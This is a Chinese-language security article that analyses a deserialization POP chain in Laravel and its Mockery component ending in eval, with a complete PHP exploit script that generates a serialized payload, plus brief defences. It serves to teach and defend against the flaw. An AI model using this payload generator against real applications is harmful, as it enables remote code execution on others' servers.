Laravel mockery组件反序列化POP链分析
字数 1240 2025-08-26 22:11:57

Laravel Mockery组件反序列化POP链分析

漏洞概述

本文详细分析Laravel框架中Mockery组件存在的反序列化漏洞,通过构造特定的POP(Property-Oriented Programming)链实现任意代码执行。

漏洞利用链分析

入口点

利用链的入口点是Illuminate\Broadcasting\PendingBroadcast类的__destruct方法。当对象被销毁时,会自动调用此方法:

public function __destruct()
{
    $this->events->dispatch($this->event);
}

第二步:Dispatcher::dispatch

$this->events被控制为Illuminate\Bus\Dispatcher对象,调用其dispatch方法:

public function dispatch($command)
{
    if ($this->queueResolver && $this->commandShouldBeQueued($command)) {
        return $this->dispatchToQueue($command);
    }
    // ...
}

条件绕过

需要满足两个条件:

  1. $this->queueResolver不为空
  2. $this->commandShouldBeQueued($command)返回true

commandShouldBeQueued方法检查$command是否实现了ShouldQueue接口:

protected function commandShouldBeQueued($command)
{
    return $command instanceof ShouldQueue;
}

这里使用Illuminate\Broadcasting\BroadcastEvent类,它实现了ShouldQueue接口。

任意方法调用

进入dispatchToQueue方法后:

protected function dispatchToQueue($command)
{
    $connection = $command->connection ?? null;
    
    $queue = call_user_func($this->queueResolver, $command);
    // ...
}

这里$this->queueResolver被控制为数组[$object, "method"]形式,实现任意方法调用。

最终利用点

选择Mockery\Loader\EvalLoader::load方法作为目标:

public function load(MockDefinition $definition)
{
    if (class_exists($definition->getClassName(), false)) {
        return;
    }
    
    eval("?>" . $definition->getCode());
}

需要满足:

  1. $definitionMockDefinition对象
  2. class_exists($definition->getClassName(), false)返回false
  3. 控制$definition->getCode()返回恶意代码

MockDefinition类分析

class MockDefinition
{
    protected $config;
    protected $code;

    public function getClassName()
    {
        return $this->config->getName();
    }

    public function getCode()
    {
        return $this->code;
    }
}

getClassName()调用$this->config->getName(),因此需要$this->configMockConfiguration对象:

class MockConfiguration
{
    protected $name = '1234'; // 设置为不存在的类名
}

完整利用链

  1. PendingBroadcast::__destruct()
  2. Dispatcher::dispatch()
  3. Dispatcher::dispatchToQueue()
  4. EvalLoader::load()
  5. eval()执行任意代码

EXP构造

<?php
namespace Illuminate\Broadcasting{
  class PendingBroadcast
  {
    protected $event;
    protected $events;

    public function __construct($events,$event)
    {
      $this->events = $events;
      $this->event = $event;
    }
  }
}

namespace Illuminate\Bus{
  class Dispatcher
  {
    protected $queueResolver;

    public function __construct($queueResolver)
    {
      $this->queueResolver = $queueResolver;
    }
  }
}

namespace Illuminate\Broadcasting{
  class BroadcastEvent implements \Illuminate\Contracts\Queue\ShouldQueue
  {
    public $connection;

    public function __construct($connection)
    {
      $this->connection = $connection;
    }
  }
}

namespace Mockery\Generator{
  class MockDefinition
  {
    protected $config;
    protected $code = '<?php phpinfo();?>';

    public function __construct($config)
    {
      $this->config = $config;
    }
  }
}

namespace Mockery\Generator{
  class MockConfiguration
  {
    protected $name = '1234'; // 不存在的类名
  }
}

namespace Mockery\Loader{
  class EvalLoader
  {
     public function load(MockDefinition $definition)
     {
     }
  }
}

namespace{
  $Mockery = new Mockery\Loader\EvalLoader();
  $queueResolver = array($Mockery, "load");
  $MockConfiguration = new Mockery\Generator\MockConfiguration();
  $MockDefinition = new Mockery\Generator\MockDefinition($MockConfiguration);
  $BroadcastEvent = new Illuminate\Broadcasting\BroadcastEvent($MockDefinition);
  $Dispatcher = new Illuminate\Bus\Dispatcher($queueResolver);
  $PendingBroadcast = new Illuminate\Broadcasting\PendingBroadcast($Dispatcher,$BroadcastEvent);
  echo urlencode(serialize($PendingBroadcast));
}
?>

关键点总结

  1. 利用__destruct作为入口点
  2. 通过接口实现绕过条件检查
  3. 利用数组回调实现任意方法调用
  4. 控制MockDefinitiongetCode()返回恶意代码
  5. 通过MockConfiguration设置不存在的类名绕过class_exists检查
  6. 最终通过eval执行任意PHP代码

防御措施

  1. 避免反序列化不可信数据
  2. 及时更新框架和组件版本
  3. 使用安全的反序列化方法,如JSON
  4. 实施输入验证和过滤
Laravel Mockery组件反序列化POP链分析 漏洞概述 本文详细分析Laravel框架中Mockery组件存在的反序列化漏洞,通过构造特定的POP(Property-Oriented Programming)链实现任意代码执行。 漏洞利用链分析 入口点 利用链的入口点是 Illuminate\Broadcasting\PendingBroadcast 类的 __destruct 方法。当对象被销毁时,会自动调用此方法: 第二步:Dispatcher::dispatch $this->events 被控制为 Illuminate\Bus\Dispatcher 对象,调用其 dispatch 方法: 条件绕过 需要满足两个条件: $this->queueResolver 不为空 $this->commandShouldBeQueued($command) 返回true commandShouldBeQueued 方法检查 $command 是否实现了 ShouldQueue 接口: 这里使用 Illuminate\Broadcasting\BroadcastEvent 类,它实现了 ShouldQueue 接口。 任意方法调用 进入 dispatchToQueue 方法后: 这里 $this->queueResolver 被控制为数组 [$object, "method"] 形式,实现任意方法调用。 最终利用点 选择 Mockery\Loader\EvalLoader::load 方法作为目标: 需要满足: $definition 是 MockDefinition 对象 class_exists($definition->getClassName(), false) 返回false 控制 $definition->getCode() 返回恶意代码 MockDefinition类分析 getClassName() 调用 $this->config->getName() ,因此需要 $this->config 是 MockConfiguration 对象: 完整利用链 PendingBroadcast::__destruct() Dispatcher::dispatch() Dispatcher::dispatchToQueue() EvalLoader::load() eval() 执行任意代码 EXP构造 关键点总结 利用 __destruct 作为入口点 通过接口实现绕过条件检查 利用数组回调实现任意方法调用 控制 MockDefinition 的 getCode() 返回恶意代码 通过 MockConfiguration 设置不存在的类名绕过 class_exists 检查 最终通过 eval 执行任意PHP代码 防御措施 避免反序列化不可信数据 及时更新框架和组件版本 使用安全的反序列化方法,如JSON 实施输入验证和过滤